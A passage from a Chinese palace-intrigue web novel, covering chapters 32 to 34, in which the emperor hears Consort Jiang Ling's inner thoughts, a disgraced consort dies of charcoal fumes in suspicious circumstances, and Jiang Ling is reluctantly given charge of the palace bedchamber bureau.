想到内藏库的那群阉人,元明帝被噎得说不出话来。他一下来了脾气,暗自咬牙,今天不训得她服服帖帖,他就不是萧恪! “只一味打压也不妥,须得恩威并重。”元明帝说道,觑着她的手悄然伸去拿糖,表面恭顺,实则心不在焉,脸色沉下去,道:“且仔细听着!” 江舲吓了跳,拽着糖在手心,一动不动坐着端正聆听。元明帝哼了声,继续道:“你指一人管着,不时敲打,若出了差错,只唯她是问。若差使办得漂亮,你时常赏赐一二,此便是恩威并重。” “得皇上教导,臣妾深感荣幸,没齿难忘。”江舲规规矩矩谢恩,心里白眼都快翻上天:“打一棍子给几颗糖嘛。真是说得比唱得好听,管着这些破事,我没得半点好处,不克扣她们的灯烛。又没多拿一份钱,赏赐从哪里来。真是糖不给我吃,只给棍子了。” 元明帝只感到无力至极,他简直是对牛弹琴。她除去贪吃贪睡,还贪财! 唯一的可取之处,就在她清清白白干干净净。 思及此,元明帝望着江舲的眼神,不知不觉变得柔和。听到她那般多的心声,她虽一身的缺点,实则柔软,良善,澄澈如朝露。 江舲转头朝窗棂外看了眼,道:“皇上,雨停了,臣妾告退。” 元明帝对江舲的小心思心知肚明,不由得嗤笑。他还有一堆事要忙,便大人大量不与她计较。 觑着案几上堆满的点心吃食,元明帝很是大度地道:“就你喜欢吃这些甜滋滋的糖,且都拿了去吧。” 江舲手心还拽着那颗糖,谢恩之后,将手心的糖放进装糖的匣子,抱在怀里屈膝告退。 元明帝没想到她手还真是快,先前居然抓了一颗糖拽着,不禁无语至极。 旋即,元明帝又暗暗决定,待下次要好生教训她。万事讲究过犹不及,须得克制。喜欢的吃食,她大快朵颐,不喜欢的吃食,连看都不看,如三岁小儿般挑嘴。 江舲捧着糖匣子走到屋外,文涓迎上前,接过匣子,将熏球交给她:“奴婢重新添了炭,美人抱着暖手。” 屋内暖和,外面寒意扑来,江舲打了个寒噤,忙将熏球贴在脸上取暖,捡了颗糖放在嘴里含着,含混道:“你也吃一颗。” 垂拱殿护卫众多,文涓抿嘴笑道:“多谢美人,奴婢待无人的地方再吃。” 江舲想起元明帝的“恩威并施”,她讪讪扯了扯嘴角。待文涓这般,好似也是恩威并施。 出了垂拱殿,文涓照着江舲的话,吃了一颗糖。她惊叹地道:“美人,这松子糖真香。” “嗯,等下回去之后,你取一些去吃。”江舲不像元明帝,很是大方,只给糖不打棍子。 文涓伺候江舲这些时日,知晓她大方随和,也不推辞,高高兴兴应了,问道:“美人,库房那边的灯烛如何了?” 江舲点头,“皇上下令张善亲自去取,应当无碍了。” 雨后的地面湿哒哒,江舲一个不注意,脚下一滑,往前冲了好几步才堪堪站稳。 文涓唬得赶忙上前,着急地道:“美人可还好?” 江舲动了动脚踝,长松了口气,道:“没事。”这时,她想起高才人在夹道口假装摔倒的情形,脑中轰地一声。 在元明帝的生辰上,蜂蜡熄灭,引起他的震怒。 随后方司灯自尽,高才人跳出来生事,甚至她一并被牵连进去。 所有的种种,皆是冲着元明帝而去,逼着引着他查! 元明帝让黄梁亲自盯着蔡万峰,他十有八九出了事。 江舲所知晓之人,已有米面采买,内物料库,库监沈义,尚寝司钟尙宫。 皇宫中柴米油盐酱醋茶布匹等从全天下采买,进贡,涉及到朝臣与地方州府的官员。 例如蜀州林氏一族,买卖背后的大东家,十成十都有权贵的身影。 内侍内省,尚书内省,内藏库上下,不知多少人会受到牵连,甚至前朝官员也难以幸免。 林贵妃退得很快,赵德妃亦一样。高才人之事后,她几乎深居简出,不发一言,明显是在回避。 她们其实已经联手反击,内物料监那边阳奉阴违,便是一种回应。 元明帝讲恩威并重,天子之威,同时也要施恩。 除去会考虑到不引起朝堂动荡,内侍宫女乃是天子近身之人,元明帝会更加忌惮。 毕竟君子不立危墙之下,皇帝的命金贵。皇宫是元明帝的家,家不能乱。 江舲估计元明帝会高拿轻放,但对幕后主使之人来说,已经足够。 这一查,不止后宫格局会大变,前朝以及皇商等,都会动一动。 林贵妃与赵德妃元气大伤,在后宫经营这些年的人脉,能留下几成,尙无从得知。 最关键之处,林贵妃林氏家族的损失,赵德妃赵氏,亦失去了钱财来源。 立储乃是朝政大事,元明帝的喜爱远远不够,要朝臣的支持。 拉拢结交朝臣,一要金钱,二要人脉。 此次虽斩不端她们的根基,但足以让她们伤筋动骨。 江舲禁不住浑身哆嗦,腿没出息发软。 她遇到的林贵妃赵德妃柳贤妃等一众嫔妃,从来都是轻言细语,言笑晏晏,客气而委婉。 却兵不刃血,招招致命! 回到繁英阁,文涓赶忙去多拢了一个薰笼,道:“美人冷得脸都发白了,快去榻上歇着。” 江舲欲哭无泪,她不是冷,而是害怕。 踢掉鞋子上榻,靠着软垫捧着匣子,一颗颗嚼着糖吃。甜蜜下肚,江舲勉强平缓了些。 怕炭憋着人,文涓将窗棂打开一条缝透气,见状笑着劝道:“美人少吃些,仔细牙疼。” 江舲低头一看,匣子的糖被她吃掉了大半,忙交给文涓道:“这些你都拿去。” 文涓收起匣子,道:“美人喜欢,奴婢替美人留着。” 江舲摆手,道:“你且拿着,我不吃了。” 文涓沉吟了下,道:“匣子的糖多,奴婢拿去与青纹阿箬芳荷她们分着吃,说是美人的赏赐,让大家都甜甜嘴。” “还是你考虑得周全,有劳你了。”江舲揉着眉心,她真正晕了头,幸好有文涓提醒。 患寡不患均,几颗糖而已,皆大欢喜,好过其他三人心生不满。 江舲吃多了糖,晚饭吃略微吃了几口。天气太冷,早早就洗漱上床歇息。 不知睡了多久,江舲被轻轻摇醒。她睡眼惺忪看到文涓站在床头,神色掩饰不住地紧张:“高才人中了炭气,人没了!” 第32章 江舲呆呆坐在床上, 好一阵才反应过来。她下意识认为,高才人不是被灭口,便是加入旺火中的一滴油。 “美人管着灯烛处, 撷芳阁那边来了人回禀报美人。”文涓从箱笼中翻了厚风帽过来,边伺候江舲穿衣边说道。 青纹拿着装好炭的熏球进屋:“外面冷, 美人拿着熏球。” 文涓看了眼熏球,顺手接了过来, 道:“青纹你去备好灯笼。” 青纹应声出去了, 文涓将熏球塞在被褥底下,小声道:“林贵妃她们应当都已经得消息赶去撷芳阁, 美人得快一些。奴婢先将熏球留着,美人等下也不必梳妆了。青纹怕美人冷着, 考虑不周。高才人曾与美人起过争执, 美人若穿戴齐整过去,仔细那些人嚼舌根,美人是前去看笑话了。” 江舲脑中一片混乱, 压根没考虑到这些。她嗯了声, 将头发随意挽在脑后出了门。 夜空是无尽的黑, 廊檐下灯盏氤氲, 寒意凛冽, 像是细树枝抽打在脸上, 呼吸间皆是白雾。 青纹提了宫灯来,文涓接了一盏, 两人一前一后, 随侍江舲前去撷芳阁。 夹道静谧,脚步声回荡,灯盏幽幽。 江舲望着眼前些许的微光, 踩在湿润的青石上,一步步向前走着,只觉着寒意从脚底心升上来,浑身冰凉。 她要是一步踏错,夜里奔丧之人,便成了她。 到了西跨院门口,林贵妃一行恰好到来。江舲忙停下脚步见礼,她颔首道:“江美人也来了,咱们快进去吧。” 江舲说是,随着林贵妃一起进院子。她发现林贵妃不施脂粉,发髻松松挽在脑后。想必是得到消息,匆匆赶了来。 想到文涓的提醒,江舲暗暗呼出口气,见林贵妃已经进了院子,忙低头跟了上前。 高才人被元明帝惩处,待她养好身子之后,前去皇庙修行。虽吃穿用度不缺,院中只有两个粗使嬷嬷伺候。 两个粗使嬷嬷脸色惨白,披头散发战战兢兢上前请安。林贵妃目不斜视走进次间,江舲落后一步跟着。 次间窗棂大开,寒意呼呼灌入,屋中雪洞一般冷,炭气早已散去。 卧房的帘子卷了起来,高才人直挺挺平躺在床上,面庞鲜红,好像醉酒睡着了一般。 江舲直愣愣盯着,不由得回忆起见到方司灯尸首时的情形。她们都年轻,姣好,鲜活。 无声无息,猝不及防中,陨落。 这时,门外传来阵阵脚步声,请安声此起彼伏。元明帝在前,赵德妃柳贤妃在后,与当值的太医一起进了屋。 江舲没想到元明帝会来,回过神,随着不知何时垂泪的林贵妃见礼。元明帝脸色难看至极,目光在床上的高才人身上停留了瞬,转身来到正厅。 “怎地回事!”元明帝在屋中央站定,厉声道。 门外的粗使嬷嬷慌忙进来跪下,两人趴在地上,吓得簌簌发抖。 一人颤声说道:“回皇上,高才人身子弱,屋中多点了两只薰笼。奴婢恐高才人被炭憋着,次间的窗棂,奴婢在睡前留了一条缝透气。奴婢夜里起来如厕,看到高才人的屋子窗棂紧闭。奴婢以为是风将窗棂吹得合上了,奴婢吓了一跳,忙使劲推,发现窗棂从里面栓上了。奴婢赶忙进屋,一口气吸进去,奴婢差点晕倒,撑着去打开窗窗棂透气。进屋一瞧,高才人……高才人她已经没了” 另一嬷嬷道:“奴婢听到她的叫喊声,赶着前去一瞧,帮着喊了许久,高才人确实仙去了。奴婢不敢做主,让人去回了管事的几个娘娘主子。” 前去查看过的太医走了出来,回道:“皇上,高才人面色血红,与炭气中毒无异。薰笼中的炭已浇熄,臣瞧过,是上好的银丝炭。” 江舲只一听,便知道高才人之死,已经成了板上钉钉的炭气中毒,且是她自寻死路,从里面关了窗。 原先伺候高才人的宫女红叶绿枝被挪到了柳树巷,死活不知。西跨院只有粗使嬷嬷,元明帝下旨让她好生养身子,吃穿用度并未克扣,薰笼中点着上好的银丝炭。 粗使嬷嬷应该有一点不曾撒谎,起初窗棂是打开一条缝的状态。毕竟炭气中毒有个过程,起初是醉酒的状态,高才人可能清醒呼救。 撷芳阁除去高才人之外,在东跨院还住着两个无品级的御侍。两间跨院中间隔着小庭院,高才人闹出动静的话,有可能被她们听见。 除非窗棂是高才人自己从里面关上,她便不会挣扎求救。粗使嬷嬷不曾发现,就合情合理。 高才人滑胎,她伤心过度,又被送往皇庙,青灯古佛一生。她想不开,干脆一死了之。 一切听上去都无懈可击,江舲却不相信。上次质问过高才人为何会那般做,指出人许诺了她好处,她没有回答。 被送进皇庙,应该不是高才人想要的好处,还有其他的东西。 方司灯也是一样,究竟给了她们何种许诺,才会令她们铤而走险,连死都甘愿? 元明帝脸色阴沉,他一时不曾做声,垂下眼眸,道:“伺候的人不尽心,拖下去照着宫归处置。” 内侍立刻上前,将瘫倒在地的粗使嬷嬷拖了出去。元明帝垂下眼眸,道:“高氏滑胎之后,身子弱,一病不起而殁。高氏生前柔婉恭顺,依照美人份位下葬。”说罢,大步离去。 江舲见元明帝将高才人之死,定位为滑胎之后病逝,便知他不欲闹出大动静。 至少在明面上,不会再追查高才人的死因。 林贵妃对柳贤妃道:“你管着尙仪局,安排收敛治丧仪仗的事,就交给你了。” 柳贤妃一样不着脂粉,她眼眶泛红,看上去一脸的伤心,点头应下,对随身伺候的石嬷嬷道:“去将陈尚宫叫来,赶紧换上寿服,收敛入棺。” 石嬷嬷打发宫女去传话,忙着安排丧事,西跨院忙碌起来。 赵德妃始终不曾做声,只握着帕子蘸着眼角,不时拭泪。她不着脂粉,上挑的眼角,有些耷拉下来,比平时少了几分神采。 林贵妃停留一阵便离开了,赵德妃随后与柳贤妃打过招呼,起身离去。 江舲见只剩下她与柳贤妃,斟酌片刻,道:“娘娘忙得很,我就不留在这里添乱。娘娘若有事,叫人来支会一声就是。” 柳贤妃看向江舲,温和道:“我就是动动口,自有尙仪局的人去操持。这里又冷又乱,江美人快回去歇着吧,仔细冻着了。” 江舲迎着柳贤妃那双黑黝黝,深不见底的双眸,心底无端发紧。她屈了屈膝施礼告退,走出西跨院,还感觉到那双眼眸,在身上来回打转。 回到繁英阁,已近黎明时分。江舲脱掉衣衫上床,眼皮酸涩难受,如何都睡不着。 方司灯与高才人的尸首,在眼前交错浮现。江舲不由自主裹紧了被褥,依然觉着阵阵发冷。 她起初以为,与苏月之间的小打小闹叫做宫斗,简直可笑至极。 如今,江舲只祈盼着,别稀里糊涂被卷进去,枉送性命。 天一点点亮了,江舲不敢多睡,歇了小半个时辰,便起了身。洗漱用过早点之后,前去库房。 张善正指挥着内侍,搬动灯烛进库房。他见到江舲前来,上前见礼道:“江美人来了,放心,奴婢已经将昨日欠的灯烛,连着今日的灯烛,一并送了来。” 江舲顿时松了口气,道:“辛苦你了。” 张善道不敢,唤来与巧心兰芸正在对账的内侍,道:“这是新上任的内监吴长贵,以后灯烛之事,江美人找他便是。” 吴长贵瘦得像猴,人也像猴一样机灵,脸上堆满笑见礼:“江美人,奴婢与巧姐姐兰姐姐正在核数。江美人自放心,奴婢一根灯芯,一滴灯油都不会少。” 沈义的差使被取代,看来他凶多吉少了。江舲对吴长贵颔首,客气地道:“劳烦你了,你去忙吧。” 吴长贵施礼退下,江舲沉吟了下,问张善道:“钟尙宫去了宫正司之后,便不见人影,你可知她情形如何了?” 张善愣了下,神色复杂道:“江美人,奴婢听说过,宫人一旦踏进宫正司的门,若一天半天都没消息。只怕是走着进去,抬着出来了。” 江舲怔住,心情像是此刻天空般,灰扑扑,闷得慌。她哦了声,“我知道了。” 张善觑着江舲的神情,未再多言,抬手告退。 不安笼罩在库房上空,宫女们都小心翼翼。江舲站着看了一会,叮嘱了青纹她们几句,回了繁英阁。 到晚间,阿箬去膳房取饭食,回来惊恐地告诉江舲:“美人,内藏库都知蔡万峰死了。听说以前的蔡管事,是蔡万峰的远房侄子,他也被拿了去,被打死了!” 江舲紧张起来,将文涓等四人都叫到跟前,沉声叮嘱道:“你们不要去乱打听,乱说话!要是闯了祸,只有死命一条!文涓,你去跟外面当差的,仔细交代过,不怕死的,自管去!” 文涓忙去了,青纹她们神色惊惶,连声应是。 高才人以美人的身份下葬,棺木搬进了撷芳阁的正屋。在屋前庭院搭起苇棚,远支宗室,品级低的外命妇前来哭灵祭拜。 照着规矩,后宫嫔妃的丧仪,会在朔望设置大奠。高才人的棺木在撷芳阁停灵七日,移灵到奉先寺,择吉日葬在皇陵。移灵那日是二十三日,未逢着朔望日。 江舲与高才人去世后的品级虽相同,资历在她之上,只需在大奠时前去祭奠则可。 宫中风波诡异,人人都小心行事。江舲自是谨言慎行,在规矩礼仪上,宁缺毋滥。 在移灵的前一天,江舲午后起来,准备前去上柱香。 刚走出门,与垂拱殿的内侍迎面遇上,他上前见礼,道:“江美人,皇上宣你前去。” 江舲便先去琼华阁,元明帝上下打量着她,皱眉道:“你穿着这一身作甚,谁让你替她服丧了?” “臣妾并未服丧,明朝将移灵,臣妾前去上柱香。”江舲道。 元明帝指着锦凳示意她坐,道:“她生前冤枉你,你倒大度。” 江舲谦虚了句,心道:“礼多死人也不怪,难得能观摩死后的丧事规格,当然要去。” 元明帝无语凝噎,懒得听她嗡嗡嗡,道:“既然灯烛处的司灯,你迄今都没选好。尙寝局你都管着吧,从偌大的尚寝局里挑,总该选得出来满意的人。” 江舲瞪大眼,一下傻在了那里。 谁得利,谁便是凶手。 现在,元明帝让她管整个尚寝局,她成了得利之人! 第33章 阿箬芳荷好比是江舲的一面镜子, 两人时刻提醒她,要有清醒的自我认知。 在以前,自命不凡顶多找骂, 在这里,是找死。 一只老虎捕杀了一头野猪, 猎人发现了,以为不劳而获, 喜滋滋去捡。 结果不言而喻, 猎人与野猪都成了老虎的猎物。 江舲急了,脑子不听使唤, 冲口而出道:“皇上,臣妾不管, 打死都不管!” 从未敢有人直面驳斥天子, 元明帝霎时沉下脸,道:“大胆!你竟然威胁起朕来!” 被元明帝一骂,江舲顿时清醒过来, 忙道:“皇上, 臣妾连灯烛处都管不好, 何况是尚寝局。臣妾恐管得一团乱, 辜负了皇上对臣妾的信任。” 她表面说得恳切, 心中却在不断咆哮:“尚寝局要管给皇帝铺床叠被, 车马轿子,后宫掌灯, 花花草草, 灯烛,五花八门乱七八糟,一想就头疼。好处没有, 一堆破事,谁要做啊!” 元明帝气恼不已,暗骂她真是鼠目寸光,给她天大的恩宠,她却始终惦记着那点好处。 他本想直接戳穿,她心中的那点小九九,他听得一清二楚。话到嘴边,终是忍住了。 若是揭穿,恐自此以后,再也听不到她的心声。 人心隔肚皮,她的所思所想,他都一清二楚。 无论前朝或后宫,甚至全大胤,元明帝最最信任之人,当属江舲。 元明帝斜撇着她,嫌弃地道:“朕知晓你没出息,无需时刻挂在嘴边。” “你才没出息,全家都没出息!”江舲耷拉着脑袋不语,心乱如麻,不住地骂道:“知道我没出息,还要我做事!后宫那么多厉害的人,你不选,发什么癫!” 元明帝深吸一口气,将怒意生生压下去,语重心长道:“这些天你管着灯烛处,也不见出事。你见库房灯烛不足,急着来找朕处理,可见你还是有几分机灵。” “这算哪门子的机灵,这明明是最基本的责任心!”江舲心道,只觉着无语至极。 早知道她就撒手不管,让整个后宫都跟穷人家一样,日出而作日入而息! “你公道公允,不曾短缺谁的灯烛。”元明帝耐着性子,说着江舲的长处。 越说,元明帝眼神越柔和。她虽周身的缺点,心地真正干净。 “公道公允成了惩罚,早知我就克扣了!”江舲抿着嘴,后悔不迭。 元明帝被噎住,她就禁不起夸! “皇上,臣妾惶恐。后宫如赵嫔,李婕妤林婕妤,夏美人等都比臣妾的份位高,聪慧能干。臣妾管灯烛处,已是僭越不知天高地厚,何况是僭越。” 江舲狠下心,暗暗掐了一下自己的腿,不住地告诉自己:“哭,哭,楚楚可怜,梨花带雨!” 她抬眼望着元明帝,哀哀切切道:“臣妾……臣妾请皇上收回成命,饶了臣妾吧!” 元明帝神色古怪,强忍着方没笑出声。 瞧她语气僵硬,不见半点眼泪,装都装不像,真是白掐了自己! “休要胡闹!抗旨不遵,该当何罪!”元明帝一口回绝,省得她再小动作不断。 江舲生无可恋,耷拉着脑袋不敢吭声了。 元明帝看着她没精打采的模样,语气软了下来,道:“秦尙宫忠心可靠,做事周到细致,有她帮着你,你何须担忧?” “秦尙宫?”江舲愣了下,一下振奋地来,急着问道:“秦尙宫是皇上亲自挑选的人?” 元明帝差点气笑了,她的小心思昭然若揭。 秦尙宫既是他亲指的人,她便要做甩手掌柜,尚寝局若出差错,与她毫无干系。 元明帝没搭理她,指着案几上的松子糖:“你不是喜欢吃糖,怎地不吃了?” “几颗糖就想收买我,亏你是一个皇帝,也好意思拿出手!”江舲暗中白眼快翻上天,恭恭敬敬谢恩,取了颗糖塞在嘴里。 她一直惦记着松子糖的滋味,可惜出自御膳房,平时的吃食中并无点心糖等,只能遗憾作罢。 松子糖当然收买不了她,若元明帝连松子糖都不肯出,她也毫无办法。 装糖的梅子青瓷罐,釉色温润如玉。江舲看了又看,眼都酸了。 “真是奢侈啊,一个装糖的瓷罐,比我屋中所有瓶瓶罐罐加起来都要贵重!” 元明帝气结,她真真是眼瞎,胡乱编排他!繁英阁的花瓶摆件,哪一件便宜了,皆是从他私库中取了去! 江舲吃了口茶,冲淡嘴里的甜味,道:“皇上,秦尙宫能干,深得皇上信任,臣妾以后就将尚寝局交给她管着了。司灯也由她帮着挑选。” 元明帝见糖堵不住她的嘴,一眼瞪去,道:“你才是主子,底下人做事,得要不时看着,免得她们偷奸耍滑!” “你还记得底下的是人啊,疑人不用,用人不疑。什么话都被你说完了,脸呢,长着就只是个装饰吗?” 江舲暗搓搓抱怨完,规规矩矩道皇上教训得是,心思微动,话锋一转问道:“青纹可是皇上亲自挑选?” 元明帝愣了下,心道她还真是有几分聪明。瞥了她一眼,慢吞吞道:“怎地,青纹当差不尽心?” 江舲顿时豁然开朗,青纹好比是大老板的亲信,调职到分公司扶持小领导。在大老板身边,肯定前途光明,毕竟天子近臣好升官,京官比地方大一级。 但大老板的话,又不得不听,还要做出些成绩。在青纹的心底深处,其实看不起她这个小领导。不敢使大绊子,在让人挑不出错的地方,拖上一拖,就足够让人吃足苦头。 比如上次江舲问青纹接手灯烛处的事,她就说得极为圆滑,称是元明帝的旨意,皇命不可违。听上去无懈可击,其实是在拿元明帝来压她,让她接手灯烛处的事。 后宫的嫔妃,只有暗中争权夺利,哪有将权力交出来的道理。赵德妃将灯烛交给江舲,一看就有猫腻,青纹如何能不知道。 高才人死的那晚,青纹看似关心江舲,怕她冷着,取了熏球来。当晚无论林贵妃赵德妃柳贤妃,甚至元明帝,皆是穿戴不算失礼,急匆匆赶了来。 要是她捧着个熏球,收拾装扮好前去,真如文涓所言那般,她成了去看高才人的笑话。 江舲沉吟了下,道:“皇上,臣妾想到了司灯的人选,不如让青纹去吧。青纹这些时日都在灯烛处当差,她又是皇上的人,做这个司灯是最合适不过。” “朕是让青纹来伺候你,她去了灯烛处,你身边的人手就不足了。”元明帝皱眉道。 “臣妾又没甚大事,只三人已经足够,无需再添加人手。”江舲放缓了语速,着重强调,生怕元明帝再指一人来。 元明帝被她吵得头疼,烦躁地道:“行行行,朕且依了你。” 一下解决两件事,江舲暗自松了口气。青纹这个聪明人,她驾驭不了,以后就交给秦尙宫去管着。 “皇上忙碌,臣妾不敢耽搁,这就告退。”江舲打算前去给高才人上香,起身告退。 “时辰还早,你又打算回去歇着了?”元明帝朝窗棂外望去,有些不悦道。 江舲如实说了,心道:“一日夫妻百日恩,你的枕边人没了,还真是绝情,连最后一程都不送。” 元明帝顿住,心中滋味一时很是复杂。他是天子,岂有去区区才人灵堂前祭奠的道理。她的想法,实属是大不韪,不顾上下尊卑。 不过,元明帝见多了她的大逆不道,早已习以为常。她能这般想,正是她慈悲善良之处。 且去灵堂前走一走,算不得大事。元明帝沉默了下,站起身道:“朕也去瞧一瞧,你随朕一道去。” 江舲低眉敛目恭敬应是,心里却烦躁地叫嚣:“谁要跟你一起去,让人看着了,还以为你独宠我一人呢!” 元明帝斜乜了眼江舲,手指开始发痒,恨不得拧她可恶的嘴! 她想得真美,还独宠她一人,就凭着她这脾气,未曾赐死她,算得他宽厚仁慈! “你且去吧,朕还有事。”元明帝重新坐了回去,淡淡地道。 江舲暗喜,忙屈膝告退。离开时,不由自主瞄了眼装糖的瓷罐。 元明帝将江舲的反应悉数瞧在眼里,眉毛一扬,偏生不给她! 离开琼华阁,江舲肩膀瞬时垮了下来。闷声不响往前走着,想着被强迫接下的尚寝局。 文涓跟在江舲身后,眼瞧着四下无人,小声问道:“美人怎地了?” 江舲道:“皇上让我管尚寝局。”她苦着脸,将琼华阁的事大致说了,连着唉声叹气,“文涓啊,我真是倒霉啊!” 文涓也觉着意外,她怔了怔,道:“奴婢说句大不敬的话,在美人之上,还有赵嫔李婕妤林婕妤她们,皇上却让美人管事。宫中自有宫中的规矩,要是赵嫔她们不满,训斥美人一顿,她们的品级比美人高,美人要是还嘴,便是以下犯上了。” 江舲苦兮兮道:“我与皇上说了,被皇上驳了回来。我要是抗旨不遵,就得与高才人一道上路了。” 文涓跟着犯愁,道:“尚寝局以前是德妃娘娘管着,虽说是德妃娘娘推辞了出来,美人要是接手,便开罪了德妃娘娘。尚寝局除司灯司的灯烛,司苑司的花木,才真正难做。” 宫中的花木,来自地方上贡,苑囿用温房栽种养育,内藏库还会不时到民间去采买。 江舲清楚园林花草的水深,上次苏月的墨菊,已经让她深有体会。墨菊还不算最贵,各种娇贵珍稀的兰花,牡丹才是价值连城。 司苑司管着御花园与后宫庭院的栽种养育,遇到节庆时,要用花草装点,供元明帝游幸。若某个寝宫中的花木枯死,则要补种。 花草的价钱不公开透明,一盆兰花,可能价值百两,也有可能一文不值。 苑囿隶属工部管辖,江舲怔愣了下,问道:“你可知后宫中谁的娘家在工部当差,管着苑囿?” 文涓思索了下,道:“奴婢好像听说,李婕妤的父亲原是工部左侍郎,前两年身子不好告老致仕了。她大哥恩荫出仕,在工部虞部司领了闲差,平时照看花花草草。” 江舲回想着李婕妤,她在后宫中算不得顶顶美貌,只身形高挑,肌肤格外白皙,一双猫儿眼,像琉璃般透亮。估计祖上有胡人血统,她也带着几分异域风情。 两人同时进宫,李婕妤承宠之后,便被封为了婕妤。后宫每年都有新人选进宫,她虽未生养,元明帝对她颇为宠爱,不时侍寝。 在赵德妃的生辰上,李婕妤也来了,两人看去很是亲近。 无论她们之间是真情或假意,有利益作为维系的话,这份关系就牢固了。 江舲欲哭无泪,一路思索着来到撷芳阁。庭院中搭着苇棚,哭灵的命妇在偏殿歇息。 几个宫女内侍在灵堂伺候,柳贤妃身子不好,在外面苇棚中歇息。 石嬷嬷忙碌操持安排,领着江舲进了灵堂。她走进去一看,曾经熟悉的地方,满屋缟素,变得陌生又荒凉。 原本放坐榻之处,放着一具柏木棺材,长明灯中豆大的灯火,左右摇曳。 江舲上完香,在长明灯中添了灯油,望着棺材,心情莫名低落。 有棺无椁,连楠木棺都逾制。死后葬入的皇陵,无法单独建陵,只能称作墓,依附高品级嫔妃的陵。 生前依附高品级的寝宫而居,死后也一样。 怪不得,大家都要争。 争生,也争死。 到了命妇哭灵的时辰,江舲转身离开。石嬷嬷道:“贤妃娘娘请美人去苇棚坐一坐,吃杯茶暖暖身子再走。” 江舲控制不住局促起来,硬着头皮进了苇棚,屈膝见礼。 柳贤妃身着半旧的素服,斜依在矮榻上,怀里搂着熏球取暖。她抬抬手,亲切道:“江美人无需多礼,快过来坐。石嬷嬷,给江美人倒一盏我吃的红枣汤。” 石嬷嬷斟了红枣汤奉上,江舲连着吃了几口,香甜下肚,勉强平缓了些。 柳贤妃拢了拢风帽,感慨地道:“这人一上了年岁,夏日怕热,冬日畏寒。精力也愈发不济,就一场丧事,有陈尚宫她们忙来忙去,我只看着,身子就吃不消。” 江舲不知如何接话,干巴巴道:“娘娘还年轻着呢。” 柳贤妃温和地道:“固有岁月不饶人,我是生产时伤了身子,这些年药汤不断,始终养不好。平时我身上一股子药味,怕大家闻着不喜,就不大出来见人,与后宫姐妹的关系也就生疏了。难得在这里遇到,就请你来说说话。” “苇棚冷得很,娘娘还是进屋去歇着吧,要多保重身子才是。”江舲绞尽脑汁,吭哧着回道。 “屋中的香烛气太重,闻上一闻,呛咳得止不住。”柳贤妃自嘲地摇头,喟叹连连:“瞧我这一身的病,真是讨厌得紧。” 她朝江舲看来,“不瞒江美人,我本打算请你来帮忙,想着你灯烛处那边也忙,便打消了念头。贵妃娘娘与德妃娘娘身子抱恙,差人来与我说过,让我多看顾着一些。瞧我这身子,如何能看顾得过来。后宫姐妹众多,不如干脆大家都分担些。六局的差使,各自分一分,如此一来,大家都轻松了。江美人觉着如何?” 迎着柳贤妃深不见底的目光,江舲脸都僵了,后背阵阵发寒,如坐针毡。 只有赵德妃交出了尚寝局,柳贵妃要分差使,便是分尚寝局。 前脚元明帝才让她管尚寝局,难道,柳贤妃提早已经知晓,现在故意试探她? 第34章 柳贤妃素面朝天, 眼角浮现出细密的纹路。瘦弱的身子,温婉可亲,说话细声细气, 观其貌只是普通寻常的妇人。 她闲适地斜倚在矮榻上,看过来的目光, 犹如一座山,压得江舲几乎快喘不过气。 “娘娘, 德妃娘娘身子不好, 钟尙宫又被宫正司拿了去,尚寝局无人, 皇上便让我暂且管着。” 江舲想着元明帝让她管尚寝局的事,迟早会公布。她不会掩饰自己的情绪, 佯装不知显得太虚假, 干脆如实道来。 “娘娘的法子很好,我也认为,后宫姐妹分一分差使, 更加轻松省事。” 这句话江舲说得底气十足, 她支持分权, 各自管一处, 互相制衡。 柳贤妃似乎意外了下, 她没有做声, 只静静坐着。 江舲嗓子发紧,心像是缀了石头, 又闷又沉。坐立难安, 直想拔腿就跑。 所幸柳贤妃神色不变,很快就轻点着头,道:“你本管着灯烛处, 让你管整个尚寝局,倒也正常。如此一来,我就省了力气,不再头疼此事。我没管过尚寝局,里面的差使也不甚清楚,暂且不敢提帮你。只你若有事,来寻我便是,我们一起想法子。” 江舲之前想着搽脂抹粉,像是在脸上戴了一层厚厚的盔甲,人的本来面目都藏在后面。 跟林贵妃赵德妃一样,江舲看不出柳贤妃的任何情绪。仿佛面对已臻化境的绝世高手,她内心愈发不安,道:“多谢娘娘,有娘娘这句话,我到时候定不会客气,娘娘莫要嫌弃我才好。” 柳贤妃微笑颔首,她并不客套,“好,这里冷,你回去吧,别冻着了。” 陈尚宫等在苇棚外回事,江舲忙起身告退:“娘娘辛苦,也要多保重。” 撷芳阁一片忙碌,呼吸间皆是香烛纸钱气。内侍抬着炭,暖汤热茶送来,宫女忙着接过送进屋。 江舲站了一会,只见大家都在埋首做事,走动之间不见声响,忙中有序。 这些皆是柳贤妃的本事,江舲只佩服不已。她低头朝外走去,袁长生带着护卫在周围巡逻,见状规矩立在一旁,颔首见礼。 江舲以前远远见过几次袁长生,他身形颀长,眉眼生得尤其漂亮。不过,江舲认为他气质太过阴柔瘆人,一眼掠过便离开了。 走了一段路,文涓悄然回头,追上江舲,小声道:“美人,袁大伴他们进去了。说起来,袁大伴与柳贤妃都是兖州府人呢。” 江舲道:“哦,兖州府那般大,来自同一个地方,有甚奇怪之处吗?” “美人说得是,宫中的内侍,好些来自兖州府沛丰县。同乡你带我,我带你,许多都沾亲带故。同乡在宫中拉帮结派,闹出不少事。后来,先帝下令,勒令同乡不得在一处当差,来自兖州府的阉人,不得到主子跟前当差,只许做些洗刷恭桶的粗活脏活。自那以后,宫中的内侍乡党方渐渐少起来。” 文涓抿嘴笑,再回头朝撷芳阁的方向看去,“生得好就不一样了,袁大伴十三岁进宫,进宫后没多久,就到了垂拱殿做跑腿的小黄门。后来皇上登基,他做了都知,护卫后宫。” 古今皆一样,生得好看之人,比起普通寻常之人,拥有更多的机会。袁长生的相貌,让他到了垂拱殿。加上他的头脑,让他走到了今朝。 江舲顿了下,道:“宫中还有多少来自兖州府的内侍?” 文涓摇头,“奴婢不知。不过,奴婢听说黄大伴就是来自兖州府。内藏库的蔡万峰来自甘州,两人一向不和。黄大伴与袁大伴算不上交好,毕竟是同乡,彼此之间客气不少。” 江舲嗯了声,神色若有所思,没再多问。 回到繁英阁,江舲脱下风帽,文涓收在怀里,她看到案桌上的梅子青釉罐,不禁一愣。 文涓也看到了,奇道:“这只罐子倒精美。奴婢去问问阿箬芳荷,是谁送了来。” 江舲道:“不用去了,我知道。”她上前揭开盖子,一股甜香扑鼻。 文涓看到罐中装着的松子糖,笑道:“原来是皇上赏赐给美人。” 元明帝是打一棍子给几颗糖,江舲暗自翻白眼,她才不稀罕。且糖对身子不好,她不想吃太多,对罐子更感兴趣。 